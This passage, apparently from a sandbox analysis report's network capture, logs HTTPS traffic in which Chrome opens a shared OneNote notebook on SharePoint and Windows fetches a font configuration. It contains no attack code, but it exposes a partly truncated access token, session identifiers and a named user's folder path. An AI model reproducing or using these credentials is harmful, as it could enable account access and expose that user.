2024-07-16 11:06:55 UTC	8200	IN	Data Raw: 32 30 30 30 0d 0a 33 36 20 5c 75 30 30 32 38 4b 48 54 4d 4c 2c 20 6c 69 6b 65 20 47 65 63 6b 6f 5c 75 30 30 32 39 20 43 68 72 6f 6d 65 5c 75 30 30 32 66 31 31 37 2e 30 2e 30 2e 30 20 53 61 66 61 72 69 5c 75 30 30 32 66 35 33 37 2e 33 36 5c 75 30 30 32 32 2c 5c 75 30 30 32 32 41 70 70 6c 69 63 61 74 69 6f 6e 4c 43 49 44 5c 75 30 30 32 32 3a 5c 75 30 30 32 32 65 6e 2d 55 53 5c 75 30 30 32 32 2c 5c 75 30 30 32 32 42 72 6f 77 73 65 72 4c 43 49 44 5c 75 30 30 32 32 3a 5c 75 30 30 32 32 65 6e 2d 55 53 5c 75 30 30 32 32 2c 5c 75 30 30 32 32 44 61 74 61 43 75 6c 74 75 72 65 5c 75 30 30 32 32 3a 5c 75 30 30 32 32 64 65 2d 44 45 5c 75 30 30 32 32 2c 5c 75 30 30 32 32 41 63 63 65 73 73 54 6f 6b 65 6e 54 74 6c 5c 75 30 30 32 32 3a 5c 75 30 30 32 32 31 37 32 31 31 36 Data Ascii: 200036 \u0028KHTML, like Gecko\u0029 Chrome\u002f117.0.0.0 Safari\u002f537.36\u0022,\u0022ApplicationLCID\u0022:\u0022en-US\u0022,\u0022BrowserLCID\u0022:\u0022en-US\u0022,\u0022DataCulture\u0022:\u0022de-DE\u0022,\u0022AccessTokenTtl\u0022:\u0022172116

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49726	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-07-16 11:06:55 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-07-16 11:06:55 UTC	466	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF70) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-eus-z1 Cache-Control: public, max-age=18174 Date: Tue, 16 Jul 2024 11:06:55 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49730	52.108.8.12	443	6692	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-16 11:06:56 UTC	2496	OUT	POST /o/RemoteUls.ashx?build=16.0.17903.41012&waccluster=GEU3&usid=5ed32588-7623-377d-905c-f0003950d05f HTTP/1.1 Host: euc-onenote.officeapps.live.com Connection: keep-alive Content-Length: 0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" X-UserSessionId: 5ed32588-7623-377d-905c-f0003950d05f sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 X-BrowserUlsBeacon: [{"Index":0,"MsSinceStart":0,"Value":"SessionStarted","Type":"SessionBoundary"},{"Index":1,"MsSinceStart":0,"Value":"https://euc-onenote.officeapps.live.com/o/onenoteframe.aspx?ui=en-US&rs=de-DE&wopisrc=https%3A%2F%2Famdat-my.sharepoint.com%2Fpersonal%2Fmai_amd_at%2F_vti_bin%2Fwopi.ashx%2Ffolders%2F5eecf2803334476f8f522886d4389084&wdenableroaming=1&mscc=1&wdodb=1&hid=62D63CA1-2029-9000-7E4B-1C140EF35025.0&uih=sharepointcom&wdlcid=en-US&dchat=1&sc=%7B%22pmo%22%3A%22https%3A%2F%2Famdat-my.sharepoint.com%22%2C%22pmshare%22%3Atrue%7D&wdorigin=Sharing.ClientRedirect&wdhostclicktime=1721128010390&jsapi=1&jsapiver=v1&newsession=1&corrid=5ed32588-7623-377d-905c-f0003950d05f&usid=5ed32588-7623-377d-905c-f0003950d05f&sftc=1&sams=1&cac=1&mtf=1&sfp=1&hch=1&hwfh=1&uihit=docaspx&muv=1&wdredirectionreason=Force_SingleStepBoot&rct=Normal&ctp=LeastProtected","Type":"Referrer"}] sec-ch-ua-platform: "Windows" Accept: / Origin: https://euc-onenote.officeapps.live.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://euc-onenote.officeapps.live.com/o/onenoteframe.aspx?ui=en-US&rs=de-DE&wopisrc=https%3A%2F%2Famdat-my.sharepoint.com%2Fpersonal%2Fmai_amd_at%2F_vti_bin%2Fwopi.ashx%2Ffolders%2F5eecf2803334476f8f522886d4389084&wdenableroaming=1&mscc=1&wdodb=1&hid=62D63CA1-2029-9000-7E4B-1C140EF35025.0&uih=sharepointcom&wdlcid=en-US&dchat=1&sc=%7B%22pmo%22%3A%22https%3A%2F%2Famdat-my.sharepoint.com%22%2C%22pmshare%22%3Atrue%7D&wdorigin=Sharing.ClientRedirect&wdhostclicktime=1721128010390&jsapi=1&jsapiver=v1&newsession=1&corrid=5ed32588-7623-377d-905c-f0003950d05f&usid=5ed32588-7623-377d-905c-f0003950d05f&sftc=1&sams=1&cac=1&mtf=1&sfp=1&hch=1&hwfh=1&uihit=docaspx&muv=1&wdredirectionreason=Force_SingleStepBoot&rct=Normal&ctp=LeastProtected Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: BIGipCookie=000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
2024-07-16 11:06:56 UTC	1582	IN	HTTP/1.1 200 OK Cache-Control: private Content-Type: text/plain P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: X-CorrelationId: a7fce4f2-1de7-4252-a0c2-2c75e0e14ecb X-UserSessionId: 5ed32588-7623-377d-905c-f0003950d05f Strict-Transport-Security: max-age=31536000 Timing-Allow-Origin: * X-OfficeFE: DU2PEPF00017837 X-OfficeVersion: 16.0.17903.41012 X-OfficeCluster: GEU3 X-Partitioning-Enabled: true Access-Control-Allow-Origin: https://euc-onenote.officeapps.live.com Access-Control-Expose-Headers: X-EndSession, X-CorrelationId, X-OfficeFE, X-NewKey, X-bULS-SuppressionETag, X-bULS-SuppressedTags Cross-Origin-Resource-Policy: cross-origin nel: {"report_to":"network-errors","max_age":604800,"include_subdomains":true,"success_fraction":0.01,"failure_fraction":1.0} report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://onenoteonline.nel.measure.office.net/api/report?FrontEnd=AFD&DestinationEndpoint=Edge-Prod-EWR31r5a&DC=GEU3&FileSource="}]} X-Content-Type-Options: nosniff X-Download-Options: noopen Content-Disposition: attachment X-OFFICEFD: DU2PEPF00017837 X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,5e4w=afd_excelslicetest_control X-MSEdge-Features: afd_waccluster,afd_wacinfra4,afd_wacinfra5,afd_excelslicetest_control X-MSEdge-Ref: Ref A: DCCF0B51471B43BFAF3E1E331E03E7B1 Ref B: EWR311000102047 Ref C: 2024-07-16T11:06:56Z Date: Tue, 16 Jul 2024 11:06:55 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	49736	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-07-16 11:06:56 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-07-16 11:06:56 UTC	514	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=25923 Date: Tue, 16 Jul 2024 11:06:56 GMT Content-Length: 55 Connection: close X-CID: 2
2024-07-16 11:06:56 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	49737	52.108.11.12	443	6692	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-16 11:06:56 UTC	416	OUT	GET /suite/RemoteTelemetry.ashx?usid=5ed32588-7623-377d-905c-f0003950d05f HTTP/1.1 Host: common.online.office.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-16 11:06:56 UTC	1190	IN	HTTP/1.1 400 Bad Request Cache-Control: private Transfer-Encoding: chunked Content-Type: text/html P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: Set-Cookie: PUS13-ARRAffinity=136fd3b66177fbafe6f8c9a387dac79b84c6ae88f724eecbf94f6c3768bf02c6;Path=/;Domain=common.online.office.com; samesite=none; secure; partitioned X-CorrelationId: d0523f55-70d6-4b88-9cda-a3afce92f3cc X-UserSessionId: 5ed32588-7623-377d-905c-f0003950d05f Strict-Transport-Security: max-age=31536000 X-OfficeFE: BL6PEPF0001947B X-OfficeVersion: 16.0.17910.41010 X-OfficeCluster: PUS13 X-Partitioning-Enabled: true X-Content-Type-Options: nosniff X-Download-Options: noopen Content-Disposition: attachment X-OFFICEFD: BL6PEPF0001A169 X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,5e4w=afd_excelslicetest X-MSEdge-Features: afd_waccluster,afd_excelslice_control,afd_pptcapacity,afd_wacinfra4,afd_wacinfra5,afd_excelslicetest X-MSEdge-Ref: Ref A: 6F103DBF95774FEDA2F713561298B88E Ref B: BL2AA2030101037 Ref C: 2024-07-16T11:06:56Z Date: Tue, 16 Jul 2024 11:06:56 GMT Connection: close
2024-07-16 11:06:56 UTC	16	IN	Data Raw: 62 0d 0a 42 61 64 20 52 65 71 75 65 73 74 0d 0a Data Ascii: bBad Request
2024-07-16 11:06:56 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	49741	52.108.11.12	443	6692	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-16 11:06:57 UTC	452	OUT	GET /o/RemoteUls.ashx?build=16.0.17903.41012&waccluster=GEU3&usid=5ed32588-7623-377d-905c-f0003950d05f HTTP/1.1 Host: euc-onenote.officeapps.live.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-16 11:06:57 UTC	4446	IN	HTTP/1.1 500 Internal Server Error Cache-Control: private Content-Length: 1208 Content-Type: text/html P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: X-CorrelationId: 03e9d6fb-d583-4de3-a6e3-1815c53c287f X-UserSessionId: 5ed32588-7623-377d-905c-f0003950d05f Strict-Transport-Security: max-age=31536000 Timing-Allow-Origin: * X-OfficeFE: DU2PEPF0001782F X-OfficeVersion: 16.0.17903.41012 X-OfficeCluster: GEU3 X-Partitioning-Enabled: true Cross-Origin-Resource-Policy: cross-origin X-bULS-SuppressionETag: 0D2FB038748FD7F15682069D0E94E4BE713F6F45 X-bULS-SuppressedTags: 378069,1671813,2208151,2209344,3249545,3290144,4273285,4285850,4298965,4298968,4298969,4751696,5018275,5306497,5904476,6375195,6572226,6948167,7463498,8194017,8458642,17044289,17085210,17085216,17162522,17358857,17387682,19214611,19707039,19743902,19939648,20486158,21627712,21631370,22401293,22410500,22558617,22558879,22598977,22680210,22680213,22680214,22836558,22922182,22946650,23881934,23909858,24133723,24401375,24462656,24515087,25514973,25531993,33592839,34388130,35682372,36472266,36546380,36546381,36546382,36569418,36708451,36773964,36791688,36811158,36811159,36963655,37259477,37288035,37307491,37754499,37856259,37876293,37876294,37889309,38293640,38535900,38543496,38580697,38637954,38922202,39076766,39076767,39105358,39408129,39613840,39966341,40437001,40777251,40935455,40957978,40957979,41003225,41207258,41473876,41502555,41711299,41952657,41964821,41964885,42272991,42496725,42513088,42815875,42857251,50406866,50431969,50622685,51451613,51504083,51667010,84165957,306230939,30697 [TRUNCATED] X-InvalidUlsJson: nel: {"report_to":"network-errors","max_age":604800,"include_subdomains":true,"success_fraction":0.01,"failure_fraction":1.0} report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://onenoteonline.nel.measure.office.net/api/report?FrontEnd=AFD&DestinationEndpoint=Edge-Prod-BL2r8a&DC=GEU3&FileSource="}]} X-Content-Type-Options: nosniff X-Download-Options: noopen Content-Disposition: attachment X-OFFICEFD: DU2PEPF0001782F X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,5e4w=afd_excelslicetest X-MSEdge-Features: afd_waccluster,afd_visioslice,afd_wacinfra4,afd_wacinfra5,afd_excelslicetest X-MSEdge-Ref: Ref A: EA24E71E746644998E8CCB39F5E6B3E6 Ref B: BL2AA2010201003 Ref C: 2024-07-16T11:06:57Z Date: Tue, 16 Jul 2024 11:06:57 GMT Connection: close
2024-07-16 11:06:57 UTC	1208	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 35 30 30 20 2d 20 49 6e 74 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/><title>500 - Int

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	49749	52.108.8.12	443	6692	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-16 11:06:57 UTC	2504	OUT	POST /o/RemoteUls.ashx?build=16.0.17903.41012&waccluster=GEU3&usid=5ed32588-7623-377d-905c-f0003950d05f HTTP/1.1 Host: euc-onenote.officeapps.live.com Connection: keep-alive Content-Length: 0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" X-UserSessionId: 5ed32588-7623-377d-905c-f0003950d05f sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 X-BrowserUlsBeacon: [{"Index":1,"MsSinceStart":1751,"Value":"Making GetCells Request","Type":"BootLogs"},{"Index":2,"MsSinceStart":1751,"Value":"https://euc-onenote.officeapps.live.com/o/onenoteframe.aspx?ui=en-US&rs=de-DE&wopisrc=https%3A%2F%2Famdat-my.sharepoint.com%2Fpersonal%2Fmai_amd_at%2F_vti_bin%2Fwopi.ashx%2Ffolders%2F5eecf2803334476f8f522886d4389084&wdenableroaming=1&mscc=1&wdodb=1&hid=62D63CA1-2029-9000-7E4B-1C140EF35025.0&uih=sharepointcom&wdlcid=en-US&dchat=1&sc=%7B%22pmo%22%3A%22https%3A%2F%2Famdat-my.sharepoint.com%22%2C%22pmshare%22%3Atrue%7D&wdorigin=Sharing.ClientRedirect&wdhostclicktime=1721128010390&jsapi=1&jsapiver=v1&newsession=1&corrid=5ed32588-7623-377d-905c-f0003950d05f&usid=5ed32588-7623-377d-905c-f0003950d05f&sftc=1&sams=1&cac=1&mtf=1&sfp=1&hch=1&hwfh=1&uihit=docaspx&muv=1&wdredirectionreason=Force_SingleStepBoot&rct=Normal&ctp=LeastProtected","Type":"Referrer"}] sec-ch-ua-platform: "Windows" Accept: / Origin: https://euc-onenote.officeapps.live.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://euc-onenote.officeapps.live.com/o/onenoteframe.aspx?ui=en-US&rs=de-DE&wopisrc=https%3A%2F%2Famdat-my.sharepoint.com%2Fpersonal%2Fmai_amd_at%2F_vti_bin%2Fwopi.ashx%2Ffolders%2F5eecf2803334476f8f522886d4389084&wdenableroaming=1&mscc=1&wdodb=1&hid=62D63CA1-2029-9000-7E4B-1C140EF35025.0&uih=sharepointcom&wdlcid=en-US&dchat=1&sc=%7B%22pmo%22%3A%22https%3A%2F%2Famdat-my.sharepoint.com%22%2C%22pmshare%22%3Atrue%7D&wdorigin=Sharing.ClientRedirect&wdhostclicktime=1721128010390&jsapi=1&jsapiver=v1&newsession=1&corrid=5ed32588-7623-377d-905c-f0003950d05f&usid=5ed32588-7623-377d-905c-f0003950d05f&sftc=1&sams=1&cac=1&mtf=1&sfp=1&hch=1&hwfh=1&uihit=docaspx&muv=1&wdredirectionreason=Force_SingleStepBoot&rct=Normal&ctp=LeastProtected Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: BIGipCookie=000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
2024-07-16 11:06:58 UTC	1605	IN	HTTP/1.1 200 OK Cache-Control: private Content-Type: text/plain P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: X-CorrelationId: fa249320-a683-4fe6-b94a-ac9dc7973676 X-UserSessionId: 5ed32588-7623-377d-905c-f0003950d05f Strict-Transport-Security: max-age=31536000 Timing-Allow-Origin: * X-OfficeFE: DU2PEPF00017834 X-OfficeVersion: 16.0.17903.41012 X-OfficeCluster: GEU3 X-Partitioning-Enabled: true Access-Control-Allow-Origin: https://euc-onenote.officeapps.live.com Access-Control-Expose-Headers: X-EndSession, X-CorrelationId, X-OfficeFE, X-NewKey, X-bULS-SuppressionETag, X-bULS-SuppressedTags Cross-Origin-Resource-Policy: cross-origin nel: {"report_to":"network-errors","max_age":604800,"include_subdomains":true,"success_fraction":0.01,"failure_fraction":1.0} report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://onenoteonline.nel.measure.office.net/api/report?FrontEnd=AFD&DestinationEndpoint=Edge-Prod-EWR31r5b&DC=GEU3&FileSource="}]} X-Content-Type-Options: nosniff X-Download-Options: noopen Content-Disposition: attachment X-OFFICEFD: DU2PEPF00017834 X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,5e4w=afd_excelslicetest_control X-MSEdge-Features: afd_waccluster,afd_visioslice_control,afd_wacinfra4,afd_wacinfra5,afd_excelslicetest_control X-MSEdge-Ref: Ref A: C210CE26BE14489182FD29A1393918DF Ref B: EWR311000104051 Ref C: 2024-07-16T11:06:58Z Date: Tue, 16 Jul 2024 11:06:57 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.5	49748	52.108.8.12	443	6692	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-16 11:06:57 UTC	3601	OUT	POST /o/OneNote.ashx HTTP/1.1 Host: euc-onenote.officeapps.live.com Connection: keep-alive Content-Length: 4672 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" X-ServerSideRendering: RenderingNoImages X-OfficeVersion: 16.0.17903.41012 X-Key: t/ISjT+shfkeAOTZkqEdojcTLfAeU4PnRUQRan5c91c=;DOqqcDz/2J80pgnNxU7yv8D6WrAB+Id46HGPnmnMXIM=,638567248150062543 X-WacUserAgent: MSWACONSync X-Requested-With: XMLHttpRequest X-xhr: 1 X-SessionStartDimensions: {"Application":"OneNote","Browser":"Chrome","BrowserMajorVersion":"117","BrowserVersion":"117.0.0","Host":"SharePoint Online","IsSynthetic":"False","Os":"Windows","Ring":"5","RoutedVia":"AzureFrontDoor","SessionOrigin":"SHARING.CLIENTREDIRECT","UiHost":"sharepointcom","UserSessionApplicationMode":"Edit","WACDatacenter":"GEU3"} sec-ch-ua-platform: "Windows" X-AccessToken: eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IkRhREFmalFRbXB5T1h4MlJyS19XNWx2b0xaNCJ9.eyJhdWQiOiJ3b3BpL2FtZGF0LW15LnNoYXJlcG9pbnQuY29tQGNjZGM0ZWJlLTE4ODgtNDk5Yi05ZTczLWJiYmQ1NjAxNzllZCIsImlzcyI6IjAwMDAwMDAzLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMEA5MDE0MDEyMi04NTE2LTExZTEtOGVmZi00OTMwNDkyNDAxOWIiLCJuYmYiOiIxNzIxMTI4MDEyIiwiZXhwIjoiMTcyMTE2NDAxMiIsIm5hbWVpZCI6IjAjLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uIzEyYmViMzBiMWFjNDJjODg3OGZlZWI1ZmZlY2NlMWNiMTJhMzkwMzkxOGJhYzBmMjAzMGU5ZWQzMTM1ZWFkYzciLCJuaWkiOiJtaWNyb3NvZnQuc2hhcmVwb2ludCIsImlzdXNlciI6InRydWUiLCJjYWNoZWtleSI6IjBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uIzEyYmViMzBiMWFjNDJjODg3OGZlZWI1ZmZlY2NlMWNiMTJhMzkwMzkxOGJhYzBmMjAzMGU5ZWQzMTM1ZWFkYzciLCJzaGFyaW5naWQiOiJwQVoyRnNMaFBVbXZBVHNSZnowUFZRIiwiaXNsb29wYmFjayI6IlRydWUiLCJhcHBjdHgiOiI1ZWVjZjI4MDMzMzQ0NzZmOGY1MjI4ODZkNDM4OTA4NDtNTUlvZFR1azJ4WnA0U0xSMlJUN3FPR3EzbE09O0RlZmF1bHQ7MWFiM2VkNGUwMTQwNGE2Yzg5YzY2N2Y5ZTViYWVmZTc7O1RydWU7Ozs1MTI7NjJkNjNjYTEtMjAyOS05MDAwLTdlNGItMWMxNDBlZjM1MDI1IiwiZmlkIjoiMTg5OTIw [TRUNCATED] X-UserSessionId: 5ed32588-7623-377d-905c-f0003950d05f sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/json; charset=UTF-8 X-UserType: WOPI X-WacCluster: GEU3 Accept: / Origin: https://euc-onenote.officeapps.live.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://euc-onenote.officeapps.live.com/o/onenoteframe.aspx?ui=en-US&rs=de-DE&wopisrc=https%3A%2F%2Famdat-my.sharepoint.com%2Fpersonal%2Fmai_amd_at%2F_vti_bin%2Fwopi.ashx%2Ffolders%2F5eecf2803334476f8f522886d4389084&wdenableroaming=1&mscc=1&wdodb=1&hid=62D63CA1-2029-9000-7E4B-1C140EF35025.0&uih=sharepointcom&wdlcid=en-US&dchat=1&sc=%7B%22pmo%22%3A%22https%3A%2F%2Famdat-my.sharepoint.com%22%2C%22pmshare%22%3Atrue%7D&wdorigin=Sharing.ClientRedirect&wdhostclicktime=1721128010390&jsapi=1&jsapiver=v1&newsession=1&corrid=5ed32588-7623-377d-905c-f0003950d05f&usid=5ed32588-7623-377d-905c-f0003950d05f&sftc=1&sams=1&cac=1&mtf=1&sfp=1&hch=1&hwfh=1&uihit=docaspx&muv=1&wdredirectionreason=Force_SingleStepBoot&rct=Normal&ctp=LeastProtected Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: BIGipCookie=000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
2024-07-16 11:06:57 UTC	4672	OUT	Data Raw: 7b 22 4d 6f 64 65 22 3a 31 2c 22 73 72 73 22 3a 5b 5b 31 2c 7b 22 46 69 6c 65 49 64 22 3a 22 57 4f 50 49 73 72 63 3d 68 74 74 70 73 25 33 41 25 32 46 25 32 46 61 6d 64 61 74 25 32 44 6d 79 25 32 45 73 68 61 72 65 70 6f 69 6e 74 25 32 45 63 6f 6d 25 32 46 70 65 72 73 6f 6e 61 6c 25 32 46 6d 61 69 25 35 46 61 6d 64 25 35 46 61 74 25 32 46 25 35 46 76 74 69 25 35 46 62 69 6e 25 32 46 77 6f 70 69 25 32 45 61 73 68 78 25 32 46 66 6f 6c 64 65 72 73 25 32 46 35 65 65 63 66 32 38 30 33 33 33 34 34 37 36 66 38 66 35 32 32 38 38 36 64 34 33 38 39 30 38 34 26 61 63 63 65 73 73 5f 74 6f 6b 65 6e 3d 65 79 4a 30 65 58 41 69 4f 69 4a 4b 56 31 51 69 4c 43 4a 68 62 47 63 69 4f 69 4a 53 55 7a 49 31 4e 69 49 73 49 6e 67 31 64 43 49 36 49 6b 52 68 52 45 46 6d 61 6c 46 52 62 Data Ascii: {"Mode":1,"srs":[[1,{"FileId":"WOPIsrc=https%3A%2F%2Famdat%2Dmy%2Esharepoint%2Ecom%2Fpersonal%2Fmai%5Famd%5Fat%2F%5Fvti%5Fbin%2Fwopi%2Eashx%2Ffolders%2F5eecf2803334476f8f522886d4389084&access_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IkRhREFmalFRb
2024-07-16 11:06:58 UTC	1076	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Length: 177061 Content-Type: application/json; charset=utf-8 Expires: -1 P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: X-CorrelationId: 28555c6e-a385-4d70-b04d-2469e6a528a4 X-UserSessionId: 5ed32588-7623-377d-905c-f0003950d05f Strict-Transport-Security: max-age=31536000 Timing-Allow-Origin: * X-OfficeFE: DU2PEPF0001782E X-OfficeVersion: 16.0.17903.41012 X-OfficeCluster: GEU3 X-Partitioning-Enabled: true X-Content-Type-Options: nosniff X-Download-Options: noopen Content-Disposition: attachment X-OFFICEFD: DU2PEPF0001782E X-WacFrontEnd: DU2PEPF0001782E X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,5e4w=afd_excelslicetest X-MSEdge-Features: afd_waccluster,afd_wacinfra4,afd_wacinfra5,afd_excelslicetest X-MSEdge-Ref: Ref A: C4AB27437F1F4192BBB26497E2501F40 Ref B: EWR311000104017 Ref C: 2024-07-16T11:06:58Z Date: Tue, 16 Jul 2024 11:06:57 GMT Connection: close
